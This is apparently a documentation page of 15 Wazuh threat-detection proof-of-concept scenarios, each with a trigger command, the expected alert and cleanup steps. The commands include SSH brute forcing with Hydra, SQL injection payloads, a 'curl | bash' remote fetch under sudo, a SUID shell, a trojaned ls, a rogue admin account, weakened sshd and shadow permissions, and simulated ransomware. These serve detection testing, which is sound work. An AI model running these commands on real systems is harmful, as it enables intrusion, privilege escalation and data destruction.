Wazuh PoC Scenarios - 15 Threat Detection Tests
This section provides 15 ready-to-run Proof of Concept scenarios for demonstrating Wazuh 4.14 threat detection capabilities. Each scenario includes an attack description, a command to reproduce it in a test environment, and the expected alert with its rule ID. All scenarios must be executed exclusively in isolated test environments.
Scenario Summary
| # | Scenario | MITRE ATT&CK | Wazuh Rule ID | Level |
|---|---|---|---|---|
| 1 | SSH brute force | T1110 | 5710, 5712 | 10 |
| 2 | Malware detection (EICAR) | T1204 | 87105 | 12 |
| 3 | FIM - file change | T1565 | 550, 554 | 7 |
| 4 | Vulnerability detection | - | 23501-23504 | 7-13 |
| 5 | SCA policy failure | - | 19001-19004 | 3-7 |
| 6 | Web attack (SQL injection) | T1190 | 31103, 31106 | 6-12 |
| 7 | Rootkit detection | T1014 | 510-516 | 7-12 |
| 8 | Trojan detection | T1036 | 510 | 7 |
| 9 | Docker exec monitoring | T1610 | 87924 | 5 |
| 10 | Windows audit (user creation) | T1136 | 5157 | 10 |
| 11 | Linux audit (sudo) | T1548.003 | 5401-5403 | 3-5 |
| 12 | Active Directory logon | T1078 | 60106, 60122 | 3-10 |
| 13 | Suspicious binary detection | T1036 | 100300+ | 7-10 |
| 14 | Network scan detection (Nmap) | T1046 | 581 | 10 |
| 15 | Ransomware behavior | T1486 | 554, 100400+ | 12-14 |
Scenario 1: SSH Brute Force
Simulates an SSH password guessing attack. Wazuh detects multiple failed authentication attempts from a single IP address and generates a brute-force alert. This is one of the most common initial access vectors targeting servers.
Prerequisites
- Wazuh Agent installed on the target Linux server
- SSH server running and accessible
- Log data collection module configured for
/var/log/auth.log(Debian/Ubuntu) or/var/log/secure(RHEL/CentOS)
Trigger Command
# From the attacker machine - 10 failed login attempts
for i in $(seq 1 10); do
sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
doneAlternative using Hydra:
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -VExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 5710 | 5 | sshd: Attempt to login using a non-existent user |
| 5712 | 10 | sshd: brute force trying to get access to the system |
| 5720 | 10 | Multiple sshd authentication failures |
Verification
# Via OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
"https://localhost:9200/wazuh-alerts-*/_search" \
-H "Content-Type: application/json" \
-d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'Scenario 2: Malware Detection (EICAR)
Tests malware detection using the EICAR test file. EICAR is a standard test file recognized by all antivirus solutions. Wazuh detects it through FIM-triggered VirusTotal integration.
Prerequisites
- FIM (syscheck) module configured to monitor the target directory
- VirusTotal integration enabled (optional but recommended)
- ClamAV installed on the agent (for the alternative detection method)
Trigger Command
# Create the EICAR test file
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
> /tmp/eicar-test.txt
# Alternative: download EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.comExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 554 | 7 | File added to the system (FIM) |
| 87105 | 12 | VirusTotal: Alert - /tmp/eicar-test.txt - X positives |
| 52502 | 7 | ClamAV: Virus detected (if ClamAV is installed) |
Verification
# Check FIM alerts
curl -sk -u admin:${ADMIN_PASS} \
"https://localhost:9200/wazuh-alerts-*/_search" \
-H "Content-Type: application/json" \
-d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'Cleanup
rm -f /tmp/eicar-test.txt /tmp/eicar-test.comScenario 3: FIM - File Change Monitoring
Tests the File Integrity Monitoring module. FIM tracks creation, modification, and deletion of files in monitored directories. Alerts include the change type, file hashes, and the user who performed the operation.
Prerequisites
Configure the syscheck module to monitor a test directory:
<syscheck>
<directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>Trigger Command
# Create the test directory and file
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt
# Wait for scan (or instant with realtime="yes")
sleep 10
# Modify the file
echo "modified content" >> /opt/test-fim/config.txt
# Change permissions
chmod 777 /opt/test-fim/config.txt
# Delete the file
rm -f /opt/test-fim/config.txtExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 554 | 5 | File added to the system |
| 550 | 7 | Integrity checksum changed |
| 553 | 7 | File permissions changed |
| 553 | 7 | File deleted |
Verification
# Via the Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
-X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
"https://localhost:55000/syscheck/001?search=/opt/test-fim"For more on FIM configuration, see the File Integrity Monitoring section.
Scenario 4: Vulnerability Detection
Tests the Vulnerability Detector module. Wazuh scans installed packages on the agent and matches their versions against vulnerability databases (CVE). The module automatically updates databases and generates alerts for vulnerable packages.
Prerequisites
Enable the Vulnerability Detector on the manager:
<vulnerability-detector>
<enabled>yes</enabled>
<interval>5m</interval>
<run_on_start>yes</run_on_start>
<provider name="canonical">
<enabled>yes</enabled>
<os>focal</os>
<os>jammy</os>
<update_interval>1h</update_interval>
</provider>
<provider name="nvd">
<enabled>yes</enabled>
<update_interval>1h</update_interval>
</provider>
</vulnerability-detector>Trigger Command
# Install a package with known vulnerabilities
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true
# Or for CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true
# Wait for the next scan cycle (default: 5 minutes)Expected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 23501 | 7 | Vulnerability found: Low severity |
| 23502 | 9 | Vulnerability found: Medium severity |
| 23503 | 11 | Vulnerability found: High severity |
| 23504 | 13 | Vulnerability found: Critical severity |
Verification
# Via the Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
"https://localhost:55000/vulnerability/001?limit=5&sort=-severity"Scenario 5: SCA - Configuration Non-Compliance
Tests the Security Configuration Assessment module. SCA compares system settings against CIS Benchmark policies and generates alerts for non-compliant configurations. Results include remediation guidance.
Prerequisites
Enable SCA on the agent:
<sca>
<enabled>yes</enabled>
<scan_on_start>yes</scan_on_start>
<interval>12h</interval>
</sca>Trigger Command
# Create intentionally insecure SSH configuration
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config
# Set insecure permissions on /etc/shadow
chmod 644 /etc/shadow
# Force an SCA scan
/var/ossec/bin/wazuh-control reloadExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 19001 | 3 | SCA scan started |
| 19002 | 7 | SCA check failed: Ensure SSH root login is disabled |
| 19003 | 5 | SCA check passed |
| 19004 | 3 | SCA scan completed |
Verification
curl -sk -H "Authorization: Bearer ${TOKEN}" \
"https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
| jq '.data.affected_items[] | select(.result == "failed") | {id, title}'Cleanup
# Restore secure settings
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadowScenario 6: Web Attack - SQL Injection
Simulates SQL injection against a web application. Wazuh analyzes web server logs and detects SQL injection patterns in URL parameters and POST data using built-in rules for Apache, Nginx, and IIS.
Prerequisites
- Apache or Nginx installed on the agent
- Wazuh configured to monitor web server logs
Trigger Command
# SQL injection via URL parameters
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"
# SQL injection via POST (if a form exists)
curl -X POST "http://TARGET_IP/login" \
-d "username=admin'--&password=anything"
# Multiple attempts to trigger a correlation alert
for i in $(seq 1 20); do
curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
doneExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 31103 | 6 | SQL injection attempt |
| 31106 | 12 | Web server 500 error (possible successful injection) |
| 31151 | 10 | Multiple web server 400 errors from same source |
| 31161 | 10 | Multiple SQL injection attempts |
Scenario 7: Rootkit Detection
Tests the Rootcheck module. The module detects rootkit indicators: hidden processes, suspicious files in system directories, modified system binaries, and filesystem anomalies.
Prerequisites
Enable rootcheck:
<rootcheck>
<disabled>no</disabled>
<check_files>yes</check_files>
<check_trojans>yes</check_trojans>
<check_dev>yes</check_dev>
<check_sys>yes</check_sys>
<check_pids>yes</check_pids>
<check_ports>yes</check_ports>
<frequency>36000</frequency>
</rootcheck>Trigger Command
# Create a suspicious file in /dev (typical rootkit behavior)
touch /dev/.hidden_file
# Create a SUID binary in an unusual location
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell
# Create a hidden directory in /dev
mkdir -p /dev/shm/.hidden_dir
# Force rootcheck scan
/var/ossec/bin/wazuh-control reloadExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 510 | 7 | Host-based anomaly detection event |
| 512 | 7 | Hidden file or directory found in /dev |
| 513 | 8 | Hidden file found in /dev/shm |
| 516 | 12 | SUID/SGID binary found in unusual location |
Cleanup
rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dirScenario 8: Trojan Detection
Rootcheck inspects system binaries for suspicious strings characteristic of trojan programs. The module compares system utilities against a database of known trojan signatures.
Prerequisites
- Rootcheck enabled with
<check_trojans>yes</check_trojans> - Trojan database updated (
/var/ossec/etc/shared/rootkit_trojans.txt)
Trigger Command
# Create a fake system binary (simulating a trojaned ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
system("/bin/ls");
return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null
# Create a file with a suspicious name
touch /usr/bin/..LsA
# Force rootcheck scan
/var/ossec/bin/wazuh-control reloadExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 510 | 7 | Trojaned version of file detected |
| 511 | 7 | Anomaly detected in system binary |
Cleanup
rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backupScenario 9: Docker Exec Monitoring
Wazuh monitors Docker container operations, including command execution through docker exec, container creation and removal. Monitoring is performed by analyzing Docker daemon logs.
Prerequisites
- Docker installed on the agent
- Wazuh configured for Docker monitoring:
<localfile>
<log_format>json</log_format>
<location>/var/lib/docker/containers/*/*.log</location>
</localfile>
<wodle name="docker-listener">
<disabled>no</disabled>
<interval>10s</interval>
<attempts>5</attempts>
<run_on_start>yes</run_on_start>
</wodle>Trigger Command
# Start a test container
docker run -d --name wazuh-test-container alpine sleep 3600
# Execute commands inside the container
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"
# Suspicious actions inside the container
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/nullExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 87924 | 5 | Docker: Container exec started |
| 87901 | 3 | Docker: Container created |
| 87903 | 3 | Docker: Container started |
| 87928 | 5 | Docker: Image pulled |
Cleanup
docker stop wazuh-test-container
docker rm wazuh-test-containerFor more on container monitoring, see the Container Security section.
Scenario 10: Windows Audit - User Creation
Wazuh analyzes the Windows Security Event Log and detects new account creation. This is a critical compromise indicator, especially when accounts are created outside standard access management processes.
Prerequisites
- Wazuh Agent installed on Windows Server
- Account management auditing enabled in Group Policy
Trigger Command
# PowerShell: create a local user
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"
# Add to Administrators group
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"
# cmd: alternative method
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /addExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 5157 | 10 | A user account was created (Event ID 4720) |
| 5158 | 10 | A user account was enabled (Event ID 4722) |
| 5155 | 10 | A member was added to a security-enabled global group (Event ID 4728) |
Cleanup
Remove-LocalUser -Name "testuser_poc"Scenario 11: Linux Audit - sudo
Wazuh monitors sudo usage, logging all privilege escalation events. Alerts are generated for successful and failed sudo attempts, as well as attempts to run prohibited commands.
Prerequisites
- Wazuh Agent monitors
/var/log/auth.logor/var/log/secure
Trigger Command
# Successful sudo execution
sudo ls /root
# Failed sudo attempt (from an unprivileged user)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null
# Multiple failed attempts
for i in $(seq 1 5); do
echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done
# Sudo with a suspicious command
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/nullExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 5401 | 3 | First time user executed sudo |
| 5402 | 5 | Successful sudo |
| 5403 | 5 | User NOT in sudoers file |
| 5404 | 5 | Incorrect password in sudo |
Scenario 12: Active Directory Logon Monitoring
Wazuh analyzes Windows authentication events, including interactive and network logons, account lockouts, and privileged account usage.
Prerequisites
- Wazuh Agent installed on a domain controller or Windows workstation
- Logon auditing enabled in Group Policy
- Account lockout policy configured
Trigger Command
# Multiple failed logon attempts (trigger lockout)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)
for ($i = 1; $i -le 10; $i++) {
try {
Start-Process notepad.exe -Credential $cred -ErrorAction Stop
} catch {
Write-Host "Attempt $i failed"
}
}
# Logon with a privileged account
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"Expected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 60106 | 5 | Logon failure (Event ID 4625) |
| 60122 | 10 | Account lockout (Event ID 4740) |
| 60104 | 3 | Successful logon (Event ID 4624) |
| 60130 | 8 | Privileged logon (Event ID 4672) |
Scenario 13: Suspicious Binary Detection
Wazuh detects executable files appearing in unusual directories. A combination of FIM and custom rules tracks binary creation in /tmp, /var/tmp, user home directories, and other suspicious locations.
Prerequisites
Configure FIM to monitor unusual directories:
<syscheck>
<directories check_all="yes" realtime="yes">/tmp</directories>
<directories check_all="yes" realtime="yes">/var/tmp</directories>
<directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>Custom rule:
<rule id="100300" level="10">
<if_sid>554</if_sid>
<field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
<match>is_executable</match>
<description>Executable binary created in temporary directory: $(syscheck.path)</description>
<mitre>
<id>T1036</id>
</mitre>
<group>syscheck,suspicious_binary,</group>
</rule>Trigger Command
# Compile a binary in /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary
# Copy a system binary to /var/tmp
cp /usr/bin/python3 /var/tmp/svchost
# Create a script in /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.shExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 554 | 5 | File added to the system |
| 100300 | 10 | Executable binary created in temporary directory (custom rule) |
Cleanup
rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.shScenario 14: Network Scan Detection (Nmap)
Wazuh detects network scanning through firewall and IDS log analysis. When multiple connections to different ports from a single IP address are detected, an alert for potential scanning is generated.
Prerequisites
- Firewall logging enabled on the target host (iptables, Windows Firewall)
- Wazuh Agent monitors firewall logs
Recommended iptables logging configuration:
# Log all new incoming connections
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "Trigger Command
# From the attacker machine: full port scan
nmap -sS -p 1-1000 TARGET_IP
# Service detection scan
nmap -sV -p 22,80,443,3306,5432 TARGET_IP
# Aggressive scan (generates more alerts)
nmap -A -T4 TARGET_IP
# UDP scan
nmap -sU --top-ports 100 TARGET_IPExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 581 | 10 | Multiple firewall drop events from same source |
| 4101 | 8 | Firewall drop event |
| 31151 | 10 | Multiple connection attempts from same source |
Scenario 15: Ransomware Behavior Detection
Wazuh detects typical ransomware behavior: mass file renaming with appended extensions, rapid modification of multiple files, and Windows shadow copy deletion. Detection uses a combination of FIM and custom rules.
Prerequisites
Configure FIM with report_changes and realtime:
<syscheck>
<directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>Custom rules for ransomware detection:
<rule id="100400" level="12" frequency="20" timeframe="60">
<if_matched_sid>550</if_matched_sid>
<description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
<mitre>
<id>T1486</id>
</mitre>
<group>syscheck,ransomware,</group>
</rule>
<rule id="100401" level="14">
<if_sid>554</if_sid>
<field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
<description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
<mitre>
<id>T1486</id>
</mitre>
<group>syscheck,ransomware,critical,</group>
</rule>Trigger Command
# Prepare test data
mkdir -p /opt/important-data
for i in $(seq 1 30); do
echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done
# Wait for the initial FIM scan
sleep 30
# Simulate ransomware behavior: mass renaming with appended extension
for f in /opt/important-data/*.txt; do
cp "${f}" "${f}.encrypted"
echo "ENCRYPTED" > "${f}"
done
# Simulate a ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txtExpected Alerts
| Rule ID | Level | Description |
|---|---|---|
| 550 | 7 | Integrity checksum changed (multiple) |
| 554 | 5 | File added to the system (.encrypted) |
| 100400 | 12 | Possible ransomware activity: rapid file modifications |
| 100401 | 14 | Possible ransomware: file with encryption extension created |
Cleanup
rm -rf /opt/important-dataRecommendations for Conducting PoC
Execution Order
- Start with straightforward scenarios (FIM, SCA) to verify basic functionality
- Move to network scenarios (SSH brute force, Nmap)
- Finish with complex scenarios (ransomware, rootkit)
Documenting Results
For each scenario, record the following:
- Trigger command execution time
- Time the alert appeared in the Dashboard (detection latency)
- Full alert text (JSON)
- Screenshot from Wazuh Dashboard
Common Issues
| Issue | Cause | Resolution |
|---|---|---|
| Alert does not appear | FIM running on schedule | Enable realtime="yes" |
| No vulnerability alerts | CVE databases not updated | Check vulnerability-detector in ossec.conf |
| SCA does not start | Module disabled | Set <enabled>yes</enabled> |
| Docker alerts missing | Docker listener not configured | Add the docker-listener wodle |
For more on detection capabilities, see the Wazuh Capabilities section. Rule configuration details are available in the Development section.